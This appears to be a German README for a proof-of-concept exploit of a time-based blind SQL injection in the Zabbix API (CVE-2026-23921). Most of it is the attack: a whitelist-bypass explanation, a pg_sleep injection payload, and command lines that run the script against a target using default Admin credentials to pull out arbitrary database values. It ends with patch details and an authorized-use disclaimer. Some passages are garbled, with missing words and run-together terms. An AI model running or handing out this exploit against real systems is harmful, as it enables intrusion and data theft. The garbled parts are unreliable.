
Proof-of-Concept-Exploit für CVE-2026-23921, eine zeitbasierte blinde SQL-Injection in der Zabbix-API über den Parameter sortfield, die die Datenextraktion aus PostgreSQL- und MySQL-Backends ermöglicht.
Betroffene Versionen: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: Hoch
Typ: Zeitbasierte blinde SQL-Injection über den Parameter sortfield
Authentifizierung erforderlich: Ja (jeder API-Benutzer; Super Admin vermeidet Berechtigungs-Joins)
Legacy-Zabbix-API-Dienste (host.get, trigger.get, item.get usw.) akzeptieren einen nicht deklarierten Parameter groupBy über zbx_array_merge(). In CApiService::applyQuerySortOptions() ersetzt das groupBy-Array die fest codierte Whitelist, die zur Validierung von verwendet wird. Ein Angreifer übergibt dieselbe SQL-Nutzlast sowohl in als auch in — die Validierung läuft gegen die vom Angreifer kontrollierte Liste durch, und die Nutzlast gelangt unescaped in .
sortfieldgroupBysortfieldORDER BYgroupBy: ["hostid,(SELECT IF(...))--"] und sortfield: "hostid,(SELECT IF(...))--" mit countOutput: truezbx_array_merge behält den nicht deklarierten Schlüssel groupBy beiapplyQuerySortOptions erstellt die Whitelist aus groupBy → Validierung läuft durchapplyQuerySortField hängt die Nutzlast an ORDER BY ancreateSelectQueryFromParts erstellt das finale SQL ohne EscapingSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL-Backend (Standard)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL-Backend
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Vorhandenes Auth-Token
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Beliebigen Ausdruck extrahieren
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Andere API-Methode verwenden
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Aktualisieren Sie auf Zabbix 7.0.22 / 7.2.15 / 7.4.6 oder höher.
Der Patch ersetzt array_merge($options['groupBy'], ...) durch array_intersect($this->sortColumns, $options['groupBy']), sodass vom Angreifer gelieferte Werte niemals in die Whitelist gelangen. Zusätzliche Typprüfungen mit is_string() und is_array() wurden als Defense-in-Depth hinzugefügt.
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.